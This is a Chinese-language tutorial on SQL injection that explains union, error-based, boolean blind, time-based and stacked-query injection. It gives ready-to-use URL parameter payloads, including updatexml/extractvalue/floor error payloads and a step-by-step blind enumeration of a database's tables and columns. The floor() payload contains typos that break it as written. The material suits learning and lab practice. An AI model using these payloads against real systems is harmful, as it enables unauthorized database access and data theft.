- SQL注入常見的五種注入類型
- 正常回顯
- 錯誤回顯
- 基於bool的盲注
- 基於時間的盲注
- 堆查詢注入
什么是SQL注入
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
簡單來說,注入攻擊的本質就是把用戶輸入的數據當做代碼執行。比如一個網站的url中有一個參數?id=1,此參數用於調取各個被標記好的頁面,帶到數據庫中就會拼接為命令:select * from 庫名.表名 where id=1,如果攻擊者在后端加入注入語句例如:select * from 庫名.表名 where id=1 and 1=1並且應用程序沒有對參數做過濾的話,1=1將被執行,攻擊者即可判斷出此處存在注入漏洞。
SQL注入的分類
1、 按參數類型分為字符型、數字型
2、 按頁面回顯分為回顯注入和盲注,其中回顯又分為回顯正常和回顯報錯,盲注分為時間盲注和布爾盲注
PS:更多的時候我們會希望它能夠回顯報錯,因為報錯信息會將數據庫信息暴露出來,更便於進一步注入。不同的數據庫注入語言和方式都有所不同,所以知道滲透目標使用什么數據庫至關重要。
五種注入類型的應用場景
1、正常回顯
數據庫中的數據能夠顯示到網頁中即可使用正常回顯(可使用聯合查詢)
例1:?id=1 and 1=2 union select 1,2,...,n from 庫名.表名 where...
前面的語句因為1=2不成立所以不會成功執行,union后的select語句選擇的列名內容則會相應的回顯出來,將回顯出來的數據替換成自己想要爆出的數據內容即可。
例2:有些表單注入也存在正常回顯注入,比如當輸入正確的用戶名和密碼后,登錄成功的頁面可能會顯示出你的用戶名的相關內容,這就表示有回顯的機會,可以嘗試在用戶名表單或者密碼表單中進行注入。
2.錯誤回顯
基於錯誤消息注入前提是頁面能夠響應詳細信息的錯誤描述,如果網站關閉了數據庫的報錯提示則無法使用錯誤回顯。
常見的三種報錯注入函數有(以查database為例):
updatexml() ?id=1 and updatexml(1,concat(0x7e,(select(select database())),0x7e),1)
floor() ?id=1 and select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x
extractvalue() ?id=-1 or extractvalue(1,concat(0x7e,(select database())))
updatexml和extractvalue的報錯原因均為路徑錯誤,floor的報錯原因為主鍵冗余。
3.基於bool的盲注
網站能夠返回ture/false兩種不同顯示的頁面
盲注大致流程:
確定是否存在漏洞 → 確定數據庫名長度 → 確定數據庫名 → 確定表名長度 → 確定表名 → 確定列名長度 → 確定列名 → 確定內容長度 → 確定內容
?id=1" and 1=1--+
?id=1" and 1=2--+
?id=1" and length(database())>1--+
?id=1" and ascii(mid(database(),1,1))>1--+
?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+
?id=1" and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+
?id=1" and length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1))>1--+ 2
?id=1" and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))>1--+
?id=1" and length((select id from security.emails limit 0,1))>0--+
?id=1" and ascii(mid((select id from security.emails limit 0,1),1,1))>1--+
4.基於時間的盲注
無論查詢語句正確與否,網站都會返回相同的頁面。
?id=1 and 1=1 and sleep(3)
?id=1 and 1=2 and sleep(3)
只有當前面的語句都正確時sleep()才會被執行。
5.堆查詢注入
用';'分割開多條語句,可同時執行多條語句
Q:Union也是將兩條語句合並在一起,兩者有何區別
A:union/union all執行的語句類型是有限的,可以用來執行查詢語句,
而堆疊注入可以執行的是任意的語句(增刪改查)
PS:盲注費事費力,想要完全手工是幾乎不可能的事,
所以會使用一些SQL注入工具,如sqlmap
a little bit question
Q:union 和and有什么區別,要在什么時候使用
A:union把兩條記錄合並成一個記錄,當union前面的語句為假,
后面的語句為真,則只會顯示后面的語句,不會報錯
而and用在條件中,是與的關系,只有前后都為真才正確
practice makes perfect!